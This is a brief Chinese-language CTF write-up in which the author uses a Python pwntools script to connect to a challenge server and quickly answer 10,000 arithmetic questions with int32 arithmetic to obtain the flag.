  • 題目給了一個 nc 指令,輸入後出現提示要輸入Yes I know,輸入後出現10000行題目,要在時間內回答完畢才能得到 Flag。
  • 當然不可能手動計算後輸入,這邊使用 python 的 pwntools 套件來完成。
    • 接收題目 -> 字串解析 -> 計算答案 -> 回傳。
  • 麻煩的是我一開始也一直錯誤,後來受不了 google 了一些提示後發現:
    1. 回傳時用空格隔開並一次回傳,不能用換行隔開
    2. 使用 int32 範圍計算
      • 這些其實我沒驗證,不過一開始偷懶直接用sendline(eval(XXX))的方式是失敗的。
  • 以下參考用 code
from pwn import * from numpy import int32 # nc the server r = remote('hackme.inndy.tw', 7707) print(r.recvline()) print(r.recvline()) print(r.recvline()) r.sendline('Yes I know') # get questions q_list = [] for i in range(10000): q_list.append(r.recvline()[:-5].split()) # compute anwsers ans = '' for q in q_list: n1, op, n2 = q if(op == b'+'): a = str(int32(int(n1)) + int32(int(n2))) elif(op == b'-'): a = str(int32(int(n1)) - int32(int(n2))) elif(op == b'*'): a = str(int32(int(n1)) * int32(int(n2))) elif(op == b'/'): a = str(int(float(n1) / float(n2))) print(a) ans += a + ' ' # return anwsers and get flag r.sendline(ans) r.interactive()
tags: CTF